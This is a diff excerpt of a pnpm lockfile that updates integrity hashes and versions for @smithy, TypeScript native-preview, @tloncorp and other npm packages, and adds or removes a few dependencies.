'@smithy/middleware-serde@4.2.11': resolution: {integrity: sha512-STQdONGPwbbC7cusL60s7vOa6He6A9w2jWhoapL0mgVjmR19pr26slV+yoSP76SIssMTX/95e5nOZ6UQv6jolg==} engines: {node: '>=18.0.0'} + '@smithy/middleware-serde@4.2.12': + resolution: {integrity: sha512-W9g1bOLui7Xn5FABRVS0o3rXL0gfN37d/8I/W7i0N7oxjx9QecUmXEMSUMADTODwdtka9cN43t5BI2CodLJpng==} + engines: {node: '>=18.0.0'} + '@smithy/middleware-stack@4.2.10': resolution: {integrity: sha512-pmts/WovNcE/tlyHa8z/groPeOtqtEpp61q3W0nW1nDJuMq/x+hWa/OVQBtgU0tBqupeXq0VBOLA4UZwE8I0YA==} engines: {node: '>=18.0.0'} + '@smithy/middleware-stack@4.2.11': + resolution: {integrity: sha512-s+eenEPW6RgliDk2IhjD2hWOxIx1NKrOHxEwNUaUXxYBxIyCcDfNULZ2Mu15E3kwcJWBedTET/kEASPV1A1Akg==} + engines: {node: '>=18.0.0'} + '@smithy/node-config-provider@4.3.10': resolution: {integrity: sha512-UALRbJtVX34AdP2VECKVlnNgidLHA2A7YgcJzwSBg1hzmnO/bZBHl/LDQQyYifzUwp1UOODnl9JJ3KNawpUJ9w==} engines: {node: '>=18.0.0'} + '@smithy/node-config-provider@4.3.11': + resolution: {integrity: sha512-xD17eE7kaLgBBGf5CZQ58hh2YmwK1Z0O8YhffwB/De2jsL0U3JklmhVYJ9Uf37OtUDLF2gsW40Xwwag9U869Gg==} + engines: {node: '>=18.0.0'} + '@smithy/node-http-handler@4.4.12': resolution: {integrity: sha512-zo1+WKJkR9x7ZtMeMDAAsq2PufwiLDmkhcjpWPRRkmeIuOm6nq1qjFICSZbnjBvD09ei8KMo26BWxsu2BUU+5w==} engines: {node: '>=18.0.0'} + '@smithy/node-http-handler@4.4.14': + resolution: {integrity: sha512-DamSqaU8nuk0xTJDrYnRzZndHwwRnyj/n/+RqGGCcBKB4qrQem0mSDiWdupaNWdwxzyMU91qxDmHOCazfhtO3A==} + engines: {node: '>=18.0.0'} + '@smithy/property-provider@4.2.10': resolution: {integrity: sha512-5jm60P0CU7tom0eNrZ7YrkgBaoLFXzmqB0wVS+4uK8PPGmosSrLNf6rRd50UBvukztawZ7zyA8TxlrKpF5z9jw==} engines: {node: '>=18.0.0'} + '@smithy/property-provider@4.2.11': + resolution: {integrity: sha512-14T1V64o6/ndyrnl1ze1ZhyLzIeYNN47oF/QU6P5m82AEtyOkMJTb0gO1dPubYjyyKuPD6OSVMPDKe+zioOnCg==} + engines: {node: '>=18.0.0'} + '@smithy/protocol-http@5.3.10': resolution: {integrity: sha512-2NzVWpYY0tRdfeCJLsgrR89KE3NTWT2wGulhNUxYlRmtRmPwLQwKzhrfVaiNlA9ZpJvbW7cjTVChYKgnkqXj1A==} engines: {node: '>=18.0.0'} + '@smithy/protocol-http@5.3.11': + resolution: {integrity: sha512-hI+barOVDJBkNt4y0L2mu3Ugc0w7+BpJ2CZuLwXtSltGAAwCb3IvnalGlbDV/UCS6a9ZuT3+exd1WxNdLb5IlQ==} + engines: {node: '>=18.0.0'} + '@smithy/querystring-builder@4.2.10': resolution: {integrity: sha512-HeN7kEvuzO2DmAzLukE9UryiUvejD3tMp9a1D1NJETerIfKobBUCLfviP6QEk500166eD2IATaXM59qgUI+YDA==} engines: {node: '>=18.0.0'} + '@smithy/querystring-builder@4.2.11': + resolution: {integrity: sha512-7spdikrYiljpket6u0up2Ck2mxhy7dZ0+TDd+S53Dg2DHd6wg+YNJrTCHiLdgZmEXZKI7LJZcwL3721ZRDFiqA==} + engines: {node: '>=18.0.0'} + '@smithy/querystring-parser@4.2.10': resolution: {integrity: sha512-4Mh18J26+ao1oX5wXJfWlTT+Q1OpDR8ssiC9PDOuEgVBGloqg18Fw7h5Ct8DyT9NBYwJgtJ2nLjKKFU6RP1G1Q==} engines: {node: '>=18.0.0'} + '@smithy/querystring-parser@4.2.11': + resolution: {integrity: sha512-nE3IRNjDltvGcoThD2abTozI1dkSy8aX+a2N1Rs55en5UsdyyIXgGEmevUL3okZFoJC77JgRGe99xYohhsjivQ==} + engines: {node: '>=18.0.0'} + '@smithy/service-error-classification@4.2.10': resolution: {integrity: sha512-0R/+/Il5y8nB/By90o8hy/bWVYptbIfvoTYad0igYQO5RefhNCDmNzqxaMx7K1t/QWo0d6UynqpqN5cCQt1MCg==} engines: {node: '>=18.0.0'} + '@smithy/service-error-classification@4.2.11': + resolution: {integrity: sha512-HkMFJZJUhzU3HvND1+Yw/kYWXp4RPDLBWLcK1n+Vqw8xn4y2YiBhdww8IxhkQjP/QlZun5bwm3vcHc8AqIU3zw==} + engines: {node: '>=18.0.0'} + '@smithy/shared-ini-file-loader@4.4.5': resolution: {integrity: sha512-pHgASxl50rrtOztgQCPmOXFjRW+mCd7ALr/3uXNzRrRoGV5G2+78GOsQ3HlQuBVHCh9o6xqMNvlIKZjWn4Euug==} engines: {node: '>=18.0.0'} + '@smithy/shared-ini-file-loader@4.4.6': + resolution: {integrity: sha512-IB/M5I8G0EeXZTHsAxpx51tMQ5R719F3aq+fjEB6VtNcCHDc0ajFDIGDZw+FW9GxtEkgTduiPpjveJdA/CX7sw==} + engines: {node: '>=18.0.0'} + '@smithy/signature-v4@5.3.10': resolution: {integrity: sha512-Wab3wW8468WqTKIxI+aZe3JYO52/RYT/8sDOdzkUhjnLakLe9qoQqIcfih/qxcF4qWEFoWBszY0mj5uxffaVXA==} engines: {node: '>=18.0.0'} + '@smithy/signature-v4@5.3.11': + resolution: {integrity: sha512-V1L6N9aKOBAN4wEHLyqjLBnAz13mtILU0SeDrjOaIZEeN6IFa6DxwRt1NNpOdmSpQUfkBj0qeD3m6P77uzMhgQ==} + engines: {node: '>=18.0.0'} + '@smithy/smithy-client@4.12.0': resolution: {integrity: sha512-R8bQ9K3lCcXyZmBnQqUZJF4ChZmtWT5NLi6x5kgWx5D+/j0KorXcA0YcFg/X5TOgnTCy1tbKc6z2g2y4amFupQ==} engines: {node: '>=18.0.0'} + '@smithy/smithy-client@4.12.3': + resolution: {integrity: sha512-7k4UxjSpHmPN2AxVhvIazRSzFQjWnud3sOsXcFStzagww17j1cFQYqTSiQ8xuYK3vKLR1Ni8FzuT3VlKr3xCNw==} + engines: {node: '>=18.0.0'} + '@smithy/types@4.13.0': resolution: {integrity: sha512-COuLsZILbbQsdrwKQpkkpyep7lCsByxwj7m0Mg5v66/ZTyenlfBc40/QFQ5chO0YN/PNEH1Bi3fGtfXPnYNeDw==} engines: {node: '>=18.0.0'} @@ -2761,18 +2987,34 @@ packages: resolution: {integrity: sha512-uypjF7fCDsRk26u3qHmFI/ePL7bxxB9vKkE+2WKEciHhz+4QtbzWiHRVNRJwU3cKhrYDYQE3b0MRFtqfLYdA4A==} engines: {node: '>=18.0.0'} + '@smithy/url-parser@4.2.11': + resolution: {integrity: sha512-oTAGGHo8ZYc5VZsBREzuf5lf2pAurJQsccMusVZ85wDkX66ojEc/XauiGjzCj50A61ObFTPe6d7Pyt6UBYaing==} + engines: {node: '>=18.0.0'} + '@smithy/util-base64@4.3.1': resolution: {integrity: sha512-BKGuawX4Doq/bI/uEmg+Zyc36rJKWuin3py89PquXBIBqmbnJwBBsmKhdHfNEp0+A4TDgLmT/3MSKZ1SxHcR6w==} engines: {node: '>=18.0.0'} + '@smithy/util-base64@4.3.2': + resolution: {integrity: sha512-XRH6b0H/5A3SgblmMa5ErXQ2XKhfbQB+Fm/oyLZ2O2kCUrwgg55bU0RekmzAhuwOjA9qdN5VU2BprOvGGUkOOQ==} + engines: {node: '>=18.0.0'} + '@smithy/util-body-length-browser@4.2.1': resolution: {integrity: sha512-SiJeLiozrAoCrgDBUgsVbmqHmMgg/2bA15AzcbcW+zan7SuyAVHN4xTSbq0GlebAIwlcaX32xacnrG488/J/6g==} engines: {node: '>=18.0.0'} + '@smithy/util-body-length-browser@4.2.2': + resolution: {integrity: sha512-JKCrLNOup3OOgmzeaKQwi4ZCTWlYR5H4Gm1r2uTMVBXoemo1UEghk5vtMi1xSu2ymgKVGW631e2fp9/R610ZjQ==} + engines: {node: '>=18.0.0'} + '@smithy/util-body-length-node@4.2.2': resolution: {integrity: sha512-4rHqBvxtJEBvsZcFQSPQqXP2b/yy/YlB66KlcEgcH2WNoOKCKB03DSLzXmOsXjbl8dJ4OEYTn31knhdznwk7zw==} engines: {node: '>=18.0.0'} + '@smithy/util-body-length-node@4.2.3': + resolution: {integrity: sha512-ZkJGvqBzMHVHE7r/hcuCxlTY8pQr1kMtdsVPs7ex4mMU+EAbcXppfo5NmyxMYi2XU49eqaz56j2gsk4dHHPG/g==} + engines: {node: '>=18.0.0'} + '@smithy/util-buffer-from@2.2.0': resolution: {integrity: sha512-IJdWBbTcMQ6DA0gdNhh/BwrLkDR+ADW5Kr1aZmd4k3DIF6ezMV4R2NIAmT08wQJ3yUK82thHWmC/TnK/wpMMIA==} engines: {node: '>=14.0.0'} @@ -2781,42 +3023,82 @@ packages: resolution: {integrity: sha512-/swhmt1qTiVkaejlmMPPDgZhEaWb/HWMGRBheaxwuVkusp/z+ErJyQxO6kaXumOciZSWlmq6Z5mNylCd33X7Ig==} engines: {node: '>=18.0.0'} + '@smithy/util-buffer-from@4.2.2': + resolution: {integrity: sha512-FDXD7cvUoFWwN6vtQfEta540Y/YBe5JneK3SoZg9bThSoOAC/eGeYEua6RkBgKjGa/sz6Y+DuBZj3+YEY21y4Q==} + engines: {node: '>=18.0.0'} + '@smithy/util-config-provider@4.2.1': resolution: {integrity: sha512-462id/00U8JWFw6qBuTSWfN5TxOHvDu4WliI97qOIOnuC/g+NDAknTU8eoGXEPlLkRVgWEr03jJBLV4o2FL8+A==} engines: {node: '>=18.0.0'} + '@smithy/util-config-provider@4.2.2': + resolution: {integrity: sha512-dWU03V3XUprJwaUIFVv4iOnS1FC9HnMHDfUrlNDSh4315v0cWyaIErP8KiqGVbf5z+JupoVpNM7ZB3jFiTejvQ==} + engines: {node: '>=18.0.0'} + '@smithy/util-defaults-mode-browser@4.3.36': resolution: {integrity: sha512-R0smq7EHQXRVMxkAxtH5akJ/FvgAmNF6bUy/GwY/N20T4GrwjT633NFm0VuRpC+8Bbv8R9A0DoJ9OiZL/M3xew==} engines: {node: '>=18.0.0'} + '@smithy/util-defaults-mode-browser@4.3.39': + resolution: {integrity: sha512-ui7/Ho/+VHqS7Km2wBw4/Ab4RktoiSshgcgpJzC4keFPs6tLJS4IQwbeahxQS3E/w98uq6E1mirCH/id9xIXeQ==} + engines: {node: '>=18.0.0'} + '@smithy/util-defaults-mode-node@4.2.39': resolution: {integrity: sha512-otWuoDm35btJV1L8MyHrPl462B07QCdMTktKc7/yM+Psv6KbED/ziXiHnmr7yPHUjfIwE9S8Max0LO24Mo3ZVg==} engines: {node: '>=18.0.0'} + '@smithy/util-defaults-mode-node@4.2.42': + resolution: {integrity: sha512-QDA84CWNe8Akpj15ofLO+1N3Rfg8qa2K5uX0y6HnOp4AnRYRgWrKx/xzbYNbVF9ZsyJUYOfcoaN3y93wA/QJ2A==} + engines: {node: '>=18.0.0'} + '@smithy/util-endpoints@3.3.1': resolution: {integrity: sha512-xyctc4klmjmieQiF9I1wssBWleRV0RhJ2DpO8+8yzi2LO1Z+4IWOZNGZGNj4+hq9kdo+nyfrRLmQTzc16Op2Vg==} engines: {node: '>=18.0.0'} + '@smithy/util-endpoints@3.3.2': + resolution: {integrity: sha512-+4HFLpE5u29AbFlTdlKIT7jfOzZ8PDYZKTb3e+AgLz986OYwqTourQ5H+jg79/66DB69Un1+qKecLnkZdAsYcA==} + engines: {node: '>=18.0.0'} + '@smithy/util-hex-encoding@4.2.1': resolution: {integrity: sha512-c1hHtkgAWmE35/50gmdKajgGAKV3ePJ7t6UtEmpfCWJmQE9BQAQPz0URUVI89eSkcDqCtzqllxzG28IQoZPvwA==} engines: {node: '>=18.0.0'} + '@smithy/util-hex-encoding@4.2.2': + resolution: {integrity: sha512-Qcz3W5vuHK4sLQdyT93k/rfrUwdJ8/HZ+nMUOyGdpeGA1Wxt65zYwi3oEl9kOM+RswvYq90fzkNDahPS8K0OIg==} + engines: {node: '>=18.0.0'} + '@smithy/util-middleware@4.2.10': resolution: {integrity: sha512-LxaQIWLp4y0r72eA8mwPNQ9va4h5KeLM0I3M/HV9klmFaY2kN766wf5vsTzmaOpNNb7GgXAd9a25P3h8T49PSA==} engines: {node: '>=18.0.0'} + '@smithy/util-middleware@4.2.11': + resolution: {integrity: sha512-r3dtF9F+TpSZUxpOVVtPfk09Rlo4lT6ORBqEvX3IBT6SkQAdDSVKR5GcfmZbtl7WKhKnmb3wbDTQ6ibR2XHClw==} + engines: {node: '>=18.0.0'} + '@smithy/util-retry@4.2.10': resolution: {integrity: sha512-HrBzistfpyE5uqTwiyLsFHscgnwB0kgv8vySp7q5kZ0Eltn/tjosaSGGDj/jJ9ys7pWzIP/icE2d+7vMKXLv7A==} engines: {node: '>=18.0.0'} + '@smithy/util-retry@4.2.11': + resolution: {integrity: sha512-XSZULmL5x6aCTTii59wJqKsY1l3eMIAomRAccW7Tzh9r8s7T/7rdo03oektuH5jeYRlJMPcNP92EuRDvk9aXbw==} + engines: {node: '>=18.0.0'} + '@smithy/util-stream@4.5.15': resolution: {integrity: sha512-OlOKnaqnkU9X+6wEkd7mN+WB7orPbCVDauXOj22Q7VtiTkvy7ZdSsOg4QiNAZMgI4OkvNf+/VLUC3VXkxuWJZw==} engines: {node: '>=18.0.0'} + '@smithy/util-stream@4.5.17': + resolution: {integrity: sha512-793BYZ4h2JAQkNHcEnyFxDTcZbm9bVybD0UV/LEWmZ5bkTms7JqjfrLMi2Qy0E5WFcCzLwCAPgcvcvxoeALbAQ==} + engines: {node: '>=18.0.0'} + '@smithy/util-uri-escape@4.2.1': resolution: {integrity: sha512-YmiUDn2eo2IOiWYYvGQkgX5ZkBSiTQu4FlDo5jNPpAxng2t6Sjb6WutnZV9l6VR4eJul1ABmCrnWBC9hKHQa6Q==} engines: {node: '>=18.0.0'} + '@smithy/util-uri-escape@4.2.2': + resolution: {integrity: sha512-2kAStBlvq+lTXHyAZYfJRb/DfS3rsinLiwb+69SstC9Vb0s9vNWkRwpnj918Pfi85mzi42sOqdV72OLxWAISnw==} + engines: {node: '>=18.0.0'} + '@smithy/util-utf8@2.3.0': resolution: {integrity: sha512-R8Rdn8Hy72KKcebgLiv8jQcQkXoLMOGGv5uI1/k0l+snqkOzQ1R0ChUBCxWMlBsFMekWjq0wRudIweFs7sKT5A==} engines: {node: '>=14.0.0'} @@ -2825,6 +3107,10 @@ packages: resolution: {integrity: sha512-DSIwNaWtmzrNQHv8g7DBGR9mulSit65KSj5ymGEIAknmIN8IpbZefEep10LaMG/P/xquwbmJ1h9ectz8z6mV6g==} engines: {node: '>=18.0.0'} + '@smithy/util-utf8@4.2.2': + resolution: {integrity: sha512-75MeYpjdWRe8M5E3AW0O4Cx3UadweS+cwdXjwYGBW5h/gxxnbeZ877sLPX/ZJA9GVTlL/qG0dXP29JWFCD1Ayw==} + engines: {node: '>=18.0.0'} + '@smithy/util-waiter@4.2.10': resolution: {integrity: sha512-4eTWph/Lkg1wZEDAyObwme0kmhEb7J/JjibY2znJdrYRgKbKqB7YoEhhJVJ4R1g/SYih4zuwX7LpJaM8RsnTVg==} engines: {node: '>=18.0.0'} @@ -2833,6 +3119,10 @@ packages: resolution: {integrity: sha512-dSfDCeihDmZlV2oyr0yWPTUfh07suS+R5OB+FZGiv/hHyK3hrFBW5rR1UYjfa57vBsrP9lciFkRPzebaV1Qujw==} engines: {node: '>=18.0.0'} + '@smithy/uuid@1.1.2': + resolution: {integrity: sha512-O/IEdcCUKkubz60tFbGA7ceITTAJsty+lBjNoorP4Z6XRqaFb/OjQjZODophEcuq68nKm6/0r+6/lLQ+XVpk8g==} + engines: {node: '>=18.0.0'} + '@snazzah/davey-android-arm-eabi@0.1.9': resolution: {integrity: sha512-Dq0WyeVGBw+uQbisV/6PeCQV2ndJozfhZqiNIfQxu6ehIdXB7iHILv+oY+AQN2n+qxiFmLh/MOX9RF+pIWdPbA==} engines: {node: '>= 10'} @@ -2938,36 +3228,36 @@ packages: resolution: {integrity: sha512-5Kc5CM2Ysn3vTTArBs2vESUt0AQiWZA86yc1TI3B+lxXmtEq133C1nxXNOgnzhrivdPZIh3zLj5gDnZjoLL5GA==} engines: {node: '>=12.17.0'} - '@tloncorp/api@git+https://github.com/tloncorp/api-beta.git#7eede1c1a756977b09f96aa14a92e2b06318ae87': - resolution: {commit: 7eede1c1a756977b09f96aa14a92e2b06318ae87, repo: https://github.com/tloncorp/api-beta.git, type: git} + '@tloncorp/api@https://codeload.github.com/tloncorp/api-beta/tar.gz/7eede1c1a756977b09f96aa14a92e2b06318ae87': + resolution: {tarball: https://codeload.github.com/tloncorp/api-beta/tar.gz/7eede1c1a756977b09f96aa14a92e2b06318ae87} version: 0.0.2 - '@tloncorp/tlon-skill-darwin-arm64@0.1.9': - resolution: {integrity: sha512-qhsblq0zx6Ugsf7++IGY+ai3uQYAS4XsFLCnQqxbenzPcnWLnDFvzpn+cBVMmXYJXxmOIUjI9Vk929vUkPQbTw==} + '@tloncorp/tlon-skill-darwin-arm64@0.2.2': + resolution: {integrity: sha512-R6RPBZKwOlhJm8BkPCbnhLJ9XKPCCp0a3nq1QUCT2bN4orp/IbKFaqGK2mjZsxzKT8aPPPnRqviqpGioDdItuA==} cpu: [arm64] os: [darwin] hasBin: true - '@tloncorp/tlon-skill-darwin-x64@0.1.9': - resolution: {integrity: sha512-tmEZv1fx86Rt7Y9OpTG+zTpHisjHcI7c6D0+p9kellPE9fa6qGG2lC4lcYNMsPXSjzmzznJNWcd0ltQW4/NHEQ==} + '@tloncorp/tlon-skill-darwin-x64@0.2.2': + resolution: {integrity: sha512-KdhoF/V4sBty4vKXMljpjSp8YBUyFSOTkxlxoe4qqK3NiNSEADp5VwGEv+2BkmaG68xtfoSnOKoQIDog17S0Fw==} cpu: [x64] os: [darwin] hasBin: true - '@tloncorp/tlon-skill-linux-arm64@0.1.9': - resolution: {integrity: sha512-+EXkUmlcMTY1DkAkQTE+eRHAyrWunAgOthaTVG4zYU9B4eyXC3MstMId6EaAXkv89HZ3vMqAAW4CCDxpxIzg5Q==} + '@tloncorp/tlon-skill-linux-arm64@0.2.2': + resolution: {integrity: sha512-h1ih72PCEWZUuJx0ugmJgB934wzhKqSd0Qa1/UGgCJJoIr7JPxZEIBoM4QJ8mBo+8nBbYWb1tCacL20lSGgKjw==} cpu: [arm64] os: [linux] hasBin: true - '@tloncorp/tlon-skill-linux-x64@0.1.9': - resolution: {integrity: sha512-x09fR3H2kSCfzTsB2e2ajRLlN8ANSeTHvyXEy+emHhohlLHMacSoHLgYccR4oK7TrE8iCexYZYLGypXSk8FmZQ==} + '@tloncorp/tlon-skill-linux-x64@0.2.2': + resolution: {integrity: sha512-kV295YRWiAxMX15zaLv9sdDp/4lKZl7zxKNln3pCaLYKOCDsbL/7fc8xgzaLIvumWsv8Hs8ShzmxSDjlXpS8Nw==} cpu: [x64] os: [linux] hasBin: true - '@tloncorp/tlon-skill@0.1.9': - resolution: {integrity: sha512-uBLh2GLX8X9Dbyv84FakNbZwsrA4vEBBGzSXwevQtO/7ttbHU18zQsQKv9NFTWrTJtQ8yUkZjb5F4bmYHuXRIw==} + '@tloncorp/tlon-skill@0.2.2': + resolution: {integrity: sha512-2rxi9HdnwMGMTrqstDDwLDk9jB8vWGaVSL8Nh/kT8DTq3F6FA+6TiNmNMWBEWPdnPGLpGpf4ywoxq9/9vobv+w==} hasBin: true '@tokenizer/inflate@0.4.1': @@ -3089,8 +3379,8 @@ packages: '@types/node@24.11.0': resolution: {integrity: sha512-fPxQqz4VTgPI/IQ+lj9r0h+fDR66bzoeMGHp8ASee+32OSGIkeASsoZuJixsQoVef1QJbeubcPBxKk22QVoWdw==} - '@types/node@25.3.3': - resolution: {integrity: sha512-DpzbrH7wIcBaJibpKo9nnSQL0MTRdnWttGyE5haGwK86xgMOkFLp7vEyfQPGLOJh5wNYiJ3V9PmUMDhV9u8kkQ==} + '@types/node@25.3.5': + resolution: {integrity: sha512-oX8xrhvpiyRCQkG1MFchB09f+cXftgIXb3a7UUa4Y3wpmZPw5tyZGTLWhlESOLq1Rq6oDlc8npVU2/9xiCuXMA==} '@types/qrcode-terminal@0.12.2': resolution: {integrity: sha512-v+RcIEJ+Uhd6ygSQ0u5YYY7ZM+la7GgPbs0V/7l/kFs2uO4S8BcIUEMoP7za4DNIqNnUD5npf0A/7kBhrCKG5Q==} @@ -3107,6 +3397,9 @@ packages: '@types/retry@0.12.0': resolution: {integrity: sha512-wWKOClTTiizcZhXnPY4wikVAwmdYHp8q6DmC+EJUzAMsycb7HB32Kh9RN4+0gExjmPmZSAQjgURXIGATPegAvA==} + '@types/sarif@2.1.7': + resolution: {integrity: sha512-kRz0VEkJqWLf1LLVN4pT1cg1Z9wAuvI6L97V3m2f5B76Tg8d413ddvLBPTEHAZJlnn4XSvu0FkZtViCQGVyrXQ==} + '@types/send@0.17.6': resolution: {integrity: sha512-Uqt8rPBE8SY0RK8JB1EzVOIZ32uqy8HwdxCnoCOsYrvnswqmFZ/k+9Ikidlk/ImhsdvBsloHbAlewb2IEBV/Og==} @@ -3134,43 +3427,43 @@ packages: '@types/yauzl@2.10.3': resolution: {integrity: sha512-oJoftv0LSuaDZE3Le4DbKX+KS9G36NzOeSap90UIK0yMA/NhKJhqlSGtNDORNRaIbQfzjXDrQa0ytJ6mNRGz/Q==} - '@typescript/native-preview-darwin-arm64@7.0.0-dev.20260301.1': - resolution: {integrity: sha512-z8Efrjf04XjwX3QsLJARUMNl0/Bhe2z3iBbLI1hPAvqvkRK9C6T0Fywup3rEqBpUXCWsVjOyCxJjmuDA/9vZ5g==} + '@typescript/native-preview-darwin-arm64@7.0.0-dev.20260307.1': + resolution: {integrity: sha512-VpnrMP4iDLSTT9Hg/KrHwuIHLZr5dxYPMFErfv3ZDA0tv48u2H1lBhHVVMMopCuskuX3C35EOJbxLkxCJd6zDw==} cpu: [arm64] os: [darwin] - '@typescript/native-preview-darwin-x64@7.0.0-dev.20260301.1': - resolution: {integrity: sha512-qKySo/Tsya2zO3kIecrvP3WfEzS2GYy0qJwPmQ+LTqgONnuQJDohjyC3461cTKYBYL/kvkqfBrUGmjrg9fMyEA==} + '@typescript/native-preview-darwin-x64@7.0.0-dev.20260307.1': + resolution: {integrity: sha512-+4akGPxwfrPy2AYmQO1bp6CXxUVlBPrL0lSv+wY/E8vNGqwF0UtJCwAcR54ae1+k9EmoirT7Xn6LE3Io6mXntg==} cpu: [x64] os: [darwin] - '@typescript/native-preview-linux-arm64@7.0.0-dev.20260301.1': - resolution: {integrity: sha512-VNSRYpHbqnsJ18nO0buY85ZGloPoEi0W3rys93UzyZQGdxxqCKK5NxI+FV1siHNedFY2GRLr/7h1gZ8fcdeMvQ==} + '@typescript/native-preview-linux-arm64@7.0.0-dev.20260307.1': + resolution: {integrity: sha512-u4kXuHN2p+HeWsnTixoEOwALsCoS+n3/ukWdnV/mwyg6BKuuU69qCv3/miY6YPFtE7mUwzPdflEXsvkZJbJ/RA==} cpu: [arm64] os: [linux] - '@typescript/native-preview-linux-arm@7.0.0-dev.20260301.1': - resolution: {integrity: sha512-os9ohNd3XSO3+jKgMo3Ac1L6vzqg2GY9gcBsjp6Z5NrnZtnbq6e+uHkqavsE73NP1VIAsjIwZThjw4zY9GY7bg==} + '@typescript/native-preview-linux-arm@7.0.0-dev.20260307.1': + resolution: {integrity: sha512-E0Pve6BjTVvPiHq9cPVQu6fbW/Qo/CEs1VN2NMILd0xzFVpVd9FIvzV+Ft6pZilu1SBcihThW3sQ92l03Cw2+Q==} cpu: [arm] os: [linux] - '@typescript/native-preview-linux-x64@7.0.0-dev.20260301.1': - resolution: {integrity: sha512-w2iRqNEjvJbzqOYuRckpRBOJpJio2lOFTei7INQ0QED/TOO3XqJvAkyOzDrIgCO9YGWjDUIbuXZ/+4fldGIs3Q==} + '@typescript/native-preview-linux-x64@7.0.0-dev.20260307.1': + resolution: {integrity: sha512-MzuRjTYQIS7XrJcH0As18SbaQU+rFhf9LCpXs2QeHjhXQ33wjuFDNhQeurg2eKm6A0xE0GoW9K+sKsm8bhzzPg==} cpu: [x64] os: [linux] - '@typescript/native-preview-win32-arm64@7.0.0-dev.20260301.1': - resolution: {integrity: sha512-w6uu75HQek25Agu5+CcpzPS9PN3NTEyHSNMp9oypR8dj7zPRsudM8M4vhFTMDVCZ/lX/mWXkgG8dHmI+myWWvw==} + '@typescript/native-preview-win32-arm64@7.0.0-dev.20260307.1': + resolution: {integrity: sha512-UNZl8Q6lx1njEPU8+FNjYvqii5PtDjk6cyxmVPwwJI2Snz5T5qY6oadkUds6CJsLkt7s4UB3P5XgLu1+vwoYGw==} cpu: [arm64] os: [win32] - '@typescript/native-preview-win32-x64@7.0.0-dev.20260301.1': - resolution: {integrity: sha512-r2T4W5oYhOHAOVE0U/L1aFCsNDhv0BIRtyk9pL3eqGPLoYH4vtR96/CIpsVt04JDuh0fxOBHcbVjWaZdeZaTCQ==} + '@typescript/native-preview-win32-x64@7.0.0-dev.20260307.1': + resolution: {integrity: sha512-aPJb4v0Df9GzWFWbO4YbLg0OjmjxZgXngkF1M746r4CgOdydWgosNPWypzzAwiliGKvCLwfAWYiV+T5Jf1vQ3g==} cpu: [x64] os: [win32] - '@typescript/native-preview@7.0.0-dev.20260301.1': - resolution: {integrity: sha512-hmQSkgiIDAzdjyk4P8/dU8lLch1sR8spamGZ/ypPkz3rmraiLaeDj6rqlrgyZNOcSpk0R3kXw3y5qJ9121gjNQ==} + '@typescript/native-preview@7.0.0-dev.20260307.1': + resolution: {integrity: sha512-NcKdPiGjxxxdh7fLgRKTrn5hLntbt89NOodNaSrMChTfJwvLaDkgrRlnO7v5x+m7nQc87Qf1y7UoT1ZEZUBB4Q==} hasBin: true '@typespec/ts-http-runtime@0.3.3': @@ -3184,9 +3477,6 @@ packages: resolution: {integrity: sha512-N8/FHc/lmlMDCumMuTXyRHCxlov5KZY6unmJ9QR2GOw+OpROZMBsXYGwE+ZMtvN21ql9+Xb8KhGNBj08IrG3Wg==} engines: {node: '>=16', npm: '>=8'} - '@urbit/http-api@3.0.0': - resolution: {integrity: sha512-EmyPbWHWXhfYQ/9wWFcLT53VvCn8ct9ljd6QEe+UBjNPEhUPOFBLpDsDp3iPLQgg8ykSU8JMMHxp95LHCorExA==} - '@urbit/nockjs@1.6.0': resolution: {integrity: sha512-f2xCIxoYQh+bp/p6qztvgxnhGsnUwcrSSvW2CUKX7BPPVkDNppQCzCVPWo38TbqgChE7wh6rC1pm6YNCOyFlQA==} @@ -3295,6 +3585,11 @@ packages: peerDependencies: acorn: ^8 + acorn@7.4.1: + resolution: {integrity: sha512-nQyp0o1/mNdbTO1PO6kHkwSrmgZ0MT/jCCpNiwbUjGoRN4dlBhqJtoQuCnEOKzgTVwg0ZWiCoQy6SxMebQVh8A==} + engines: {node: '>=0.4.0'} + hasBin: true + acorn@8.16.0: resolution: {integrity: sha512-UVJyE9MttOsBQIDKw1skb9nAwQuR5wuGD3+82K6JgJlm/Y+KI92oNsMNGZCYdDsVtRHSak0pcV5Dno5+4jh9sw==} engines: {node: '>=0.4.0'} @@ -3384,9 +3679,15 @@ packages: array-flatten@1.1.1: resolution: {integrity: sha512-PCVAQswWemu6UdxsDFFX/+gVeYqKAod3D3UVm91jHwynguOwAvYPhx8nNlM++NqRcK6CxxpUafjmhIdKiHibqg==} + asap@2.0.6: + resolution: {integrity: sha512-BSHWgDSAiKs50o2Re8ppvp3seVHXSRM44cdSsT9FfNEUUZLOGWVCsiWaRPWM1Znn+mqZ1OfVZ3z3DWEzSp7hRA==} + asn1@0.2.6: resolution: {integrity: sha512-ix/FxPn0MDjeyJ7i/yoHGFt/EX6LyNbxSEhPPXODPL+KB0VPk86UYfL0lMdy+KCnv+fmvIzySwaK5COwqVbWTQ==} + assert-never@1.4.0: + resolution: {integrity: sha512-5oJg84os6NMQNl27T9LnZkvvqzvAnHu03ShCnoj6bsJwS7L8AO4lf+C/XjK/nvzEqQB744moC6V128RucQd1jA==} + assert-plus@1.0.0: resolution: {integrity: sha512-NfJ4UzBCcQGLDlQq7nHxH+tv3kyZ0hHQqF5BO6J7tNJeP5do1llPr8dZ8zHonfhAu0PHAdMkSo+8o0wxg9lZWw==} engines: {node: '>=0.8'} @@ -3449,6 +3750,13 @@ packages: react-native-b4a: optional: true + babel-walk@3.0.0-canary-5: + resolution: {integrity: sha512-GAwkz0AihzY5bkwIY5QDR+LvsRQgB/B+1foMPvi0FZPMl5fjD7ICiznUiBdLYMH1QYe6vqu4gWYytZOccLouFw==} + engines: {node: '>= 10.0.0'} + + badgen@3.2.3: + resolution: {integrity: sha512-svDuwkc63E/z0ky3drpUppB83s/nlgDciH9m+STwwQoWyq7yCgew1qEfJ+9axkKdNq7MskByptWUN9j1PGMwFA==} + balanced-match@4.0.4: resolution: {integrity: sha512-BLrgEcRTwX2o6gGxGOCNyMvGSp35YofuYzw9h1IMTRmKqttAZZVU67bdb9Pr2vUHA8+j3i2tJfjO6C6+4myGTA==} engines: {node: 18 || 20 || >=22} @@ -3488,6 +3796,10 @@ packages: birpc@4.0.0: resolution: {integrity: sha512-LShSxJP0KTmd101b6DRyGBj57LZxSDYWKitQNW/mi8GRMvZb078Uf9+pveax1DrVL89vm7mWe+TovdI/UDOuPw==} + blamer@1.0.7: + resolution: {integrity: sha512-GbBStl/EVlSWkiJQBZps3H1iARBrC7vt++Jb/TTmCNu/jZ04VW7tSN1nScbFXBUy1AN+jzeL7Zep9sbQxLhXKA==} + 